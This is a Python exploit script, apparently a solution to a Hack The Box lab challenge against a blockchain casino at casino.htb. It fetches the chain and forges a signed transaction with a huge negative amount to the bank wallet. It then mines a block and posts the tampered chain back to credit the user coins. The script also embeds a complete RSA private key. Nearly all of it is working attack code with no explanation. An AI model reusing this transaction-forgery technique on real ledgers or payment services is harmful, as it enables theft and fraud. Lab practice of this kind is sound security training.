# TG : @HTB0X import requests import time import json import base64 from copy import deepcopy from collections import OrderedDict from hashlib import sha512 from Crypto.PublicKey import RSA from Crypto.Hash import SHA from Crypto.Signature import PKCS1_v1_5 BLOCKCHAIN_URL = "http://casino.htb/blockchain" class Blockchain: def __init__(self, bank_address): self.genesis_block = Block({'index': 0, 'previous_hash': 1, 'transactions': [], 'nonce': 0, 'timestamp': 0}) self.bank_address = bank_address genesis_transaction = Transaction(sender_address="0", receiver_address=bank_address, amount=4, transaction_inputs='', is_genesis=True, user_id='0') self.genesis_block.transactions.append(genesis_transaction) self.genesis_block.current_hash = self.genesis_block.get_hash() self.block_chain = [self.genesis_block] def add_block(self, new_block): if self.validate_block(new_block, 1): self.block_chain.append(new_block) return self def mine_block(self, block_to_mine, difficulty): nonce = 0 block_to_mine.nonce = nonce block_hash = block_to_mine.get_hash() while block_hash[:difficulty] != '0' * difficulty: nonce += 1 block_to_mine.nonce = nonce block_hash = block_to_mine.get_hash() block_to_mine.current_hash = block_hash self.add_block(block_to_mine) def to_json(self): return json.dumps(OrderedDict([('blockchain', [block.to_ordered_dict() for block in self.block_chain])]), default=str) def validate_block(self, block, difficulty, is_new_chain=False): if difficulty * "0" != block.get_hash_obj().hexdigest()[:difficulty]: return False transaction_to_test = deepcopy(block.transactions[0]) transaction_to_test.signature = "" transaction_to_test = transaction_to_test.to_json() hash_object = SHA.new(transaction_to_test.encode('utf8')) sender_public_key = block.transactions[0].sender_address public_key = RSA.importKey(sender_public_key) if block.transactions[0].receiver_address != self.genesis_block.transactions[0].receiver_address \ and block.transactions[0].receiver_address != block.transactions[0].sender_address \ and block.transactions[0].sender_address != self.genesis_block.transactions[0].receiver_address: return False if not is_new_chain: if self.block_chain[-1].current_hash != block.previous_hash and block.index != 0: if block.transactions[0].sender_address == self.genesis_block.transactions[0].receiver_address: block.previous_hash = self.block_chain[-1].current_hash self.mine_block(block, 1) return False return True class Block: def __init__(self, block_data): self.index = block_data['index'] self.timestamp = block_data['timestamp'] self.transactions = block_data['transactions'] self.nonce = block_data['nonce'] self.previous_hash = block_data['previous_hash'] self.current_hash = None def to_ordered_dict(self): return OrderedDict([ ('index', self.index), ('timestamp', self.timestamp), ('transactions', ([self.transaction_to_ordered_dict(trans) for trans in self.transactions])), ('nonce', self.nonce), ('previous_hash', self.previous_hash) ]) def transaction_to_ordered_dict(self, transaction): try: return OrderedDict([ ('sender_address', transaction["sender_address"]), ('receiver_address', transaction["receiver_address"]), ('amount', transaction["amount"]), ('transaction_id', transaction["transaction_id"]), ('transaction_inputs', transaction["transaction_inputs"]), ('transaction_outputs', transaction["transaction_outputs"]), ("signature", transaction["signature"]), ("change", transaction["change"]), ("user_id", transaction["user_id"])]) except: return transaction.to_ordered_dict() def to_json(self): return json.dumps(self.to_ordered_dict(), default=str) def get_hash(self): return self.get_hash_obj().hexdigest() def get_hash_obj(self): return sha512(str(self.to_json()).encode('utf-8')) class Transaction: transaction_counter = 0 def __init__(self, sender_address, receiver_address, amount, transaction_inputs, user_id, is_genesis=False): self.sender_address = sender_address self.receiver_address = receiver_address self.amount = amount self.transaction_id = str(user_id) + str(Transaction.transaction_counter) self.transaction_inputs = transaction_inputs self.transaction_outputs = [] self.signature = '' self.change = 0 self.user_id = user_id if not is_genesis: total_utxo = 10000 self.change = total_utxo - self.amount if self.change < 0: self.change = 0 else: self.change = -self.amount self.transaction_outputs.append( {str(self.user_id) + str(Transaction.transaction_counter): (self.receiver_address, self.amount)}) Transaction.transaction_counter += 1 self.transaction_outputs.append( {str(self.user_id) + str(Transaction.transaction_counter): (self.sender_address, self.change)}) else: self.transaction_outputs.append({"0" + str(Transaction.transaction_counter): (self.receiver_address, self.amount)}) Transaction.transaction_counter += 1 def to_ordered_dict(self): return OrderedDict([ ('sender_address', self.sender_address), ('receiver_address', self.receiver_address), ('amount', self.amount), ('transaction_id', self.transaction_id), ('transaction_inputs', self.transaction_inputs), ('transaction_outputs', self.transaction_outputs), ('signature', self.signature), ('change', self.change), ('user_id', self.user_id) ]) def to_json(self): return json.dumps(self.to_ordered_dict(), default=str) def sign_transaction(self, private_key): private_key_obj = RSA.importKey(private_key) signer = PKCS1_v1_5.new(private_key_obj) transaction_data = self.to_ordered_dict() hash_object = SHA.new(json.dumps(transaction_data, default=str).encode('utf8')) self.signature = base64.b64encode(signer.sign(hash_object)).decode('utf8') user_private_key = """-----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEArWMxOCYivGCsSychynB30yPQLpSV4kKbQEoZUnEvyuBmoUBa sxtFQixp8sOAmr+6v3C1/N2kQVjwv/+NzVpc/wdfZ72T2nGY01m25dqjAwwnNzGo Q3qjfzUu7on4t73sQ6/2TV93miezcI4ZJr41XerqWzQlgXXKvhQzLVUDIGOVCvhI H6yTHa2p/geAkf8s6IwOE/zbuQDpXqdY/u4u7hFh5THcvxsQa4pEWDSbyQiYPq86 jwS1xtZqG0T+ycK63bleEEqCuMvL7WZjIdHquBQS7MD8g14tQ25irzpnpcZwh7Du qzPLaH3+olZHd+fNYKbWzdsF51ILaJoNno2GIwIDAQABAoIBAADEaZlYAdtXiiui 9rFQohcbF3a9TZR8uvcj3MzSl2WMbKfWAxC71Cigza83UkBdDNSACS4fRPTNEfOn i9cWyUaPn8pzuk3DJuv4f6iwuPvwd9P0skvqJQMRFy4TCji17G+4PZzGCV9zQYYD +vSC7vWFbpgMuQXDoawJpthSgfsIs+cfnvPUEZkXGtxomaQGLm6W9KVXaP5YfT2k V7N4UPWASqI4bIgZfJy6dpLWpBApIDV26iHWAOyN4lE4q3Mk3K+tlxqMbbooCTED 49ZK9aP0+GHAglJxbR2jJ61Wu3CLby3CRoZL2joz7aC4lOOx1i4cV04p2+RfLzXb 8+HkY/ECgYEAwbdNycYR5ZRHTJTEwZz0R2aSpWRam23Yu0IivMC151dM7zpvY51z 24mUCtxYlQ5TvI9ebNEDWRWn3jBbRe8PvLdNiwcBmDYgZ7j+AjXe4axZWHiUIr0B xVVLZNLHA9tpBoaT8Et33ZLF+Vkz3CXVinSluo5/DIzBPqyXbSPSEjcCgYEA5SKm 5Tx0V8TOks5e818hchGFj0PjR5I790O6J+Jlze3wd4L8EkTyftgvVlk+GXFFTewd 9a/C5ej3C9MXCHeOERgNj9L3dXhJGSAISc7/c+7xKQs5JNoA/Q9xR5O0Bts/pPqI cKC5s4YiGeYUo5LBKHxREvl58FKNozTN47TA5XUCgYBcepz5QcTTfClZpwATilGY MKC7sqAK6bL5Gsaoo7tzmNrSrmv0+3sPCKwTT0Q+zJsvPqaOfm4BvnPof99jEJDL wBqVz590QgrQWaFx/rPLutLgiJf3yZGp2mFm3bVC4yFNizvfELhFoEdBFdPLOoiq U6u210ZSAHRU7mJQKTSlmwKBgDYOT7tC4NuX5XgC0amuprBHa+/ZfzPyTs1NoAwq wAOt/43iS99vfpnoHHrNgPX1n/j7HDJK7brZk/apLQTlV5G2z/Q/O/vtjakswmfP Orq6AxDAwhFskNEipIHTWaRIcyJTrH6NnGG64i6j9fiE9aa8dU/5pQfKIfn/yhbP HLbFAoGAT1SQp19keREECbeZq7uXRxXmSIfKMX6YOcFlSt0+zLdPnQ1/Z9Q5Z2t7 urq9NlVs/RLg1rtvv7YzROARdJcuqyDVNMC8hiirYd+Ckm+O9X28abHeZzgt/AZV NzO3Z1YMad6t3t+NyTdRmOQMIfZ2SRpQdofAsKrizQ2xg6VN5WQ= -----END RSA PRIVATE KEY-----""" user_public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArWMxOCYivGCsSychynB3\n0yPQLpSV4kKbQEoZUnEvyuBmoUBasxtFQixp8sOAmr+6v3C1/N2kQVjwv/+NzVpc\n/wdfZ72T2nGY01m25dqjAwwnNzGoQ3qjfzUu7on4t73sQ6/2TV93miezcI4ZJr41\nXerqWzQlgXXKvhQzLVUDIGOVCvhIH6yTHa2p/geAkf8s6IwOE/zbuQDpXqdY/u4u\n7hFh5THcvxsQa4pEWDSbyQiYPq86jwS1xtZqG0T+ycK63bleEEqCuMvL7WZjIdHq\nuBQS7MD8g14tQ25irzpnpcZwh7DuqzPLaH3+olZHd+fNYKbWzdsF51ILaJoNno2G\nIwIDAQAB\n-----END PUBLIC KEY-----" blockchain_data = json.loads(requests.get("http://casino.htb/view_blockchain").text) bank_wallet_address = blockchain_data['blockchain'][0]['transactions'][0]['receiver_address'] current_blockchain = Blockchain(bank_wallet_address) blockchain_blocks = [] for block_data in blockchain_data['blockchain']: new_block = Block(block_data) new_block.current_hash = new_block.get_hash() blockchain_blocks.append(new_block) current_blockchain.block_chain = blockchain_blocks malicious_transaction = Transaction(sender_address=user_public_key, receiver_address=bank_wallet_address, amount=-9999999999, transaction_inputs={"0":-9999999999}, user_id=2) malicious_transaction.sign_transaction(user_private_key) transactions = [malicious_transaction] new_block = Block({ 'index': len(current_blockchain.block_chain) - 1, 'timestamp': time.time(), 'transactions': transactions, 'nonce': current_blockchain.block_chain[-1].index + 1, 'previous_hash': current_blockchain.block_chain[-1].get_hash() }) current_blockchain.mine_block(new_block, 1) response = requests.post(BLOCKCHAIN_URL, json=current_blockchain.to_json()) if response.status_code == 200: print("[±] Check your Coins !!") else: print("[!] Check Website !!")